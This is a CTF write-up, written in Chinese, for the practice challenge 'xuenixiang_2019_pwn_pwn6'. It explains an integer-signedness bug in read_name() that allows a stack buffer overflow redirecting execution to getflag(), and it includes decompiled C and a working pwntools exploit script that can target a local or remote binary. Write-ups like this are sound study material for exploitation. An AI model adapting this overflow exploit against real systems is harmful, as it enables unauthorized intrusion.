xuenixiang_2019_pwn_pwn6 wp by kone

kone

思路：1.read_name()函数存在整数溢出漏洞，输入-1
2.输入payload修改read_name()返回地址为getflag()


注意：
1.payload不要修改v2和i，否则可能导致逻辑不符合预期
2.注意返回地址的位置

exp：

#-*- coding:utf-8 -*-
"""
// xuenixiang_2019_pwn_pwn6: https://www.xuenixiang.com/ctfexercise-competition-352.html

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######\ninput your name length : ");
  read_name();
  puts("let's begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : \n", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}

int read_name()
{
  char s[80]; // [esp+8h] [ebp-60h]
  unsigned int v2; // [esp+58h] [ebp-10h]
  unsigned int i; // [esp+5Ch] [ebp-Ch]

  memset(s, 0, 0x50u);
  __isoc99_scanf("%ld", &v2);
  if ( (signed int)v2 > 48 )
  {
    puts("too long!!! u are a hacker!!!");
    exit(0);
  }
  puts("please tell me your name : ");
  fflush(stdout);
  fflush(stdin);
  for ( i = 0; i < v2; ++i )
  {
    read(0, &s[i], 1u);
    if ( s[i] == 10 )
    {
      s[i] = 0;
      return printf("helllo %s\n", s);
    }
  }
  return printf("helllo %s\n", s);
}
"""

from pwn import *
import sys

context(arch="i386", os="linux", log_level="debug")

if len(sys.argv) == 2:
        p = process(sys.argv[1])
elif len(sys.argv) == 3:
        p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

p.recvuntil("input your name length : \n")
p.sendline("-1")

p.recvuntil("please tell me your name : \n")

getflag_addr = 0x80486bb
payload = 'A' * 0x50 + '\xff\xff\xff\xff' + p32(0x58) + 'B' * 8 + p32(getflag_addr)
p.sendline(payload)

p.interactive()